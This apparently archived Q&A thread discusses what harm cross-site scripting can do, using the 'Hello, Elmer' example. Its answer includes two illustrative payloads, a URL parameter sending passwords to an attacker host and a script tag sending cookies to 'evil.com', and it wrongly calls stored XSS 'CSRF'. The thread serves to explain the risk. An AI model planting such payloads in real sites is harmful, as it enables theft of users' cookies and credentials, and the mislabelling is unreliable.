Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 3610946
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 18, 20262026-05-18T21:48:56+00:00 2026-05-18T21:48:56+00:00

I just happen to read the joel’s blog here … So for example if

  • 0

I just happen to read the joel’s blog here…

So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.

Since javascript runs on client end. All it can access or do is only on the client end.

  1. It can read informations stored in hidden fields and change them.
  2. It can read, write or manipulate cookies…

But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server…

Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.

Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments… I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-18T21:48:56+00:00Added an answer on May 18, 2026 at 9:48 pm

    There are answers that explain CSRF and XSS. I’m the one to say that for the particular quoted passage, there is no security threat at all.

    That quoted passage is simple enough — it allows you to execute some JavaScript. Congratulations — I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.

    I really think Joel wasn’t really sober when writing that. The example was just plain misleading.

    Edit some more elaborations:

    We should keep several things in mind:

    1. Code cannot do any harm unless executed.
    2. JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
    3. If the user writes some JavaScript, which then gets executed on his own machine — where’s the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.

    Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B’s machine.

    Almost all answers that directly answer the question “What harm can JavaScript do?” explain in the direction of CSRF — which requires User A being able to write code that User B can execute.

    So here’s a more complete, two part answer:

    If we’re talking about the quoted passage, the answer is “no harm”

    I do not interpret the passage’s meaning to mean something like the scenario described above, since it’s very obviously talking about a basic “Hello, Elmer world” example. To synthetically induce implicit meanings out of the passage just makes it more misleading.

    If we’re talking about “What harm can JavaScript do, in general,” the answer is related to basic XSS/CSRF

    Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B’s machine) can take place

    • A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
    • A Web page displays one user’s generated content verbatim to other users. An attacker could put something likm this in his Avatar’s URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

i´ve read somewhere that you can just have 2 connections (eg. ajax requests) to
Just looking for the first step basic solution here that keeps the honest people
Just how much slower are events? I have written a streaming XML parser (that
Let's say that if I read from www.example.com/number, I get a random number. In
I have just read about http://marc.info/?l=php-internals&m=131031747409271&w=2 . I use mysql_query in all my php
In this text I read Be alert for a component that is just a
I am learning about smart pointers ( std::auto_ptr ) and just read here and
I have just read isinstance() considered harmful , and it seems reasonable. In short,
Just read this interesting article by Omar on his blog Linq to SQL solve
I have a cookie and need to read it with JQuery or just javascript

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.